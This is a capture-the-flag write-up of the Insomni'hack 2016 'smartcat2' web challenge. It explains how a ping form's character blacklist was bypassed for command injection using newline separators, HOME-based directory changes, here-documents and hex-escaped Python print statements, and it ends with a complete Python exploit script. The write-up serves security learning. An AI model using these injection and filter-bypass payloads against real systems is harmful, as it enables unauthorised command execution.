Insomni'hack Teaser CTF 2016 - Smartcat2 writeup

Sebastian joined the ENOFLAG team for the Insomnihack teaser CTF 2016. In this blogpost he’ll write about the workaround for the smartcat2 (web50) challenge.

I didn’t solve smartcat1, because when I arrived at our team’s location, Denis @nobbd had already solved it and we continued with smartcat2. After solving the challenge, we were told that we didn’t use the intended solution of spawning a reverse shell, so we’ll share our solution with you as it was fun to work around the filter.

Note to myself: Save the burp instance more often and take notes for better writeups. (I’m writing this off my mind, so I probably forgot some (important) thoughts/steps)

Smartcat2

First of all, a few words about the challenge. It was a website which allowed to enter an IP address for the ‘ping’ command:

1
2
3
4
5
6
7
POST /cgi-bin/index.cgi?c= HTTP/1.1
Host: smartcat.insomnihack.ch
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

dest=127.0.0.1

As we learned in smartcat1, you could execute commands by using newlines (\n aka %0A) as the separator. E.g. dest=127.0.0.1%0Als would execute “ls”. However, there was a blacklist of not-allowed characters in place:

1
2
3
4
5
blacklist = " $;&|({`\t"
for badchar in blacklist:
        if badchar in dest:
                results = "Bad character %s in dest" % badchar
                break

So, we can’t really execute commands that require parameters, because spaces are covered by the blacklist. The standard bypass using “$IFS” doesn’t work, too, because “$” is on the blacklist. However, we can use < and > as a substitute for the pipe (|) for the majority of standard shell commands.

The first thing I wanted to know was which shell is used. Running “pstree” or “ps” or a similar command showed a bunch of sh processes. Okay, no bash magic useable :(

After playing around with “find” and “cat” we found the hint, that the flag is in the directory /home/smartcat. But find runs from the current working directory (/var/www/cgi-bin/) and we can’t change it, can we?

Using variables

We really wanted to do something like cd DIR, but spaces are still on the blacklist. By looking up the manpage of cd we learned the following: If DIRECTORY is supplied, it will become the new directory. If no parameter is given, the contents of the HOME environment variable will be used. Let’s see if we can change the value of $HOME to /home/smartcat. Setting environment variables in sh is as easy as running VARIABLE=VALUE. So to list the contents of the /home/smartcat directory, we used:

1
dest=127.0.0.1%0AHOME=/home/smartcat%0Acd%0Als

Okay, cool, we see the contents of /home/smartcat now. We can use this approach to jump into arbitrary directories. However, we can’t read flag2 as we lack read permissions, but we can execute readflag. Running strings on the binary file (%0Astrings<./readflag) revealed the next task:

1
Write 'Give me a...' on my stdin, wait 2 seconds, and then write '... flag!'.Do not include the quotes. Each part is a different line.

Bypassing the blacklist

As you probably know, blacklists are always bad and almost always bypassable. We needed a place where we could drop our code, so basically a directory with write permissions. It turned out that we had write, but no execute permissions on /tmp. We proved that by running ls>/tmp/x and then cat</tmp/x.

Okay, cool, so we can write and execute arbitrary files in the /tmp/ folder. But how do we fill them with life? I came up with here documents aka the following structure:

1
2
3
cat<<EOF>/tmp/file
helloworld
EOF
1
dest=127.0.0.1%0Acat<<EOF>/tmp/file%0Ahelloworld%0AEOF%0Als

Everything between EOF and EOF will be written to the file /tmp/file. So the next step was to somehow upload/write a program on the server which would execute the readflag binary and display the flag.

While thinking about a way to write sourcecode which doesn’t include any blacklisted characters, we ran a HOME=/%0Acd%0Afind>/tmp/files to get a list of all files on the server. The request timed out after a short while, but ran long enough to list some files from /bin, /usr/bin and so on. Some tools we thought may become useful:

  • python2 / python3
  • gcc / g++
  • ftp / rsync / curl / wget
  • gzip / gunzip / zip / unzip

I first tried to somehow abuse gzip or zip to compress a string/file which only contained a space and hoped that the output wouldn’t contain any blacklisted characters. Unfortunately, the unzipping part on the server didn’t really work. That’s when Denis had the brilliant idea of using python and a print statements to bypass the filter. In python you don’t need parenthesis nor spaces to print something:

1
print'hello world'

Additionally, you can encode characters in python with \xYY. We wrote a shellscript for the readflag binary

1
echo "Give me a...";sleep 2;echo "... flag!"

…and encoded all blacklisted characters:

1
print'''echo\x20"Give\x20me\x20a..."\x3bsleep\x202\x3becho\x20"...\x20flag!"'''

We then used our here-document-cat to create this python file in /tmp/print.py followed by running python to drop the file: %0Apython</tmp/print.py>/tmp/getflag.sh. We repeated this step for a second shellscript which executed our previous one:

1
sh /tmp/getflag.sh | /home/smartcat/readflag

Finally, we executed the last shellscript to dump the flag %0Ash</tmp/runflag.sh>/tmp/ourflag and %0Acat</tmp/ourflag to read it: INS{shells_are _way_better_than_cats}

All in all, it was a really cool challenge :)

The team of internetwache.org

Full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

# we have a cgi script and can execute remote commands
# problem: our command must not include any of: " $;&|({`\t"
# we solve this by using python to print the payload into a file
# this is we can encode any of the special characters and python doesn't need a whitespace between the print and the ''s


# upload first script 
# echo "Give me a...";sleep 2;echo "... flag!"
# encoded: 
# print'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "144"}, data={"dest": "127.0.0.1\ncat<<bbb>/tmp/tftf\nprint'''echo\\x20\"Give\\x20me\\x20a...\"\\x3bsleep\\x202\\x3becho\\x20\"...\\x20flag!\"'''\nbbb"})

# upload second script
# /bin/sh /tmp/denis | /home/smartcat/readflag
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "133"}, data={"dest": "127.0.0.1\ncat<<bbb>/tmp/tftf2\nprint'''/bin/sh\\x20/tmp/denis\\x20\\x7c\\x20/home/smartcat/readflag'''\nbbb"})

# interprete first script and write to file
# python</tmp/tftf>/tmp/denis
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "65"}, data={"dest": "127.0.0.1\npython</tmp/tftf>/tmp/denis"})

# pythin interprete second script and write to file
# python</tmp/tftf2>/tmp/rundenis
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "69"}, data={"dest": "127.0.0.1\npython</tmp/tftf2>/tmp/rundenis"})

# execute second script and write to denisflag
# /bin/sh</tmp/rundenis>/tmp/denisflag
requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "84"}, data={"dest": "127.0.0.1\n\nHOME=/home/smartcat/\ncd\n/bin/sh</tmp/rundenis>/tmp/denisflag"})

# read flag file
# cat</tmp/denisflag
t = requests.post("http://smartcat.insomnihack.ch:80/cgi-bin/index.cgi", headers={"User-Agent": "", "Cookie": "__cfduid=d753b33e9270cc520d1cc495afb6490ea1452931924", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "56"}, data={"dest": "127.0.0.1\ncat</tmp/denisflag"})

print t.text